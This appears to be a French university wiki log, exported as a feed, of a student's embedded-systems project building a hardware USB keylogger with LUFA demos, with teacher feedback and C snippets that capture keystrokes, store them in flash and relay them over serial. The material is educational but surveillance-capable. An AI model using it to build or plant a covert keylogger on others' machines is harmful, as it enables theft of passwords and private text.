'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un de mes arduino qui n'est plus fonctionnel.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écris dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]].&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrive pas encore à récupérer les touches tapés via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, et ai filmé une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]].&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'Atmega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai modifiés légèrement pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoie de caractère où j'envoie directement le code HID obtenue via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'Atmega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'ancien élève. Comme quoi la librairie LUFA est vraiment complète et fonctionnel.&lt;br /&gt;
&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire via l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner à envoyé tout les caractères lu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans ma logique, j'utilise trois variables : ''page_start'' qui est la page où l'on commence l'écriture, ''page_actual'' qui indique la page courante et ''page_buffer_size'' qui indique la taille courante du buffer de donnée afin de trouver la place de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égale à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écris ensuite dans la flash à la page ''page_actual''. Puis on attend que l'écriture est effectué pour passer à la tâche suivante qui est l'envoie de la touche tapé.&lt;br /&gt;
&lt;br /&gt;
Du côté de l'Atmega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoie et la réception, l'utilisation de la fonction ''Serial_SendData'' pour envoyé les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayé de faire des fonctions de réceptions de paquet lorsque l'Atmega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=753</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=753"/>
		<updated>2023-08-08T10:07:15Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Ajout de photo (Keylogger_Keyboard_to_PC) montrant les connexions de fils&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je développe la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]].&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, seulement que les LEDS ont été soudés à l'envers. &lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
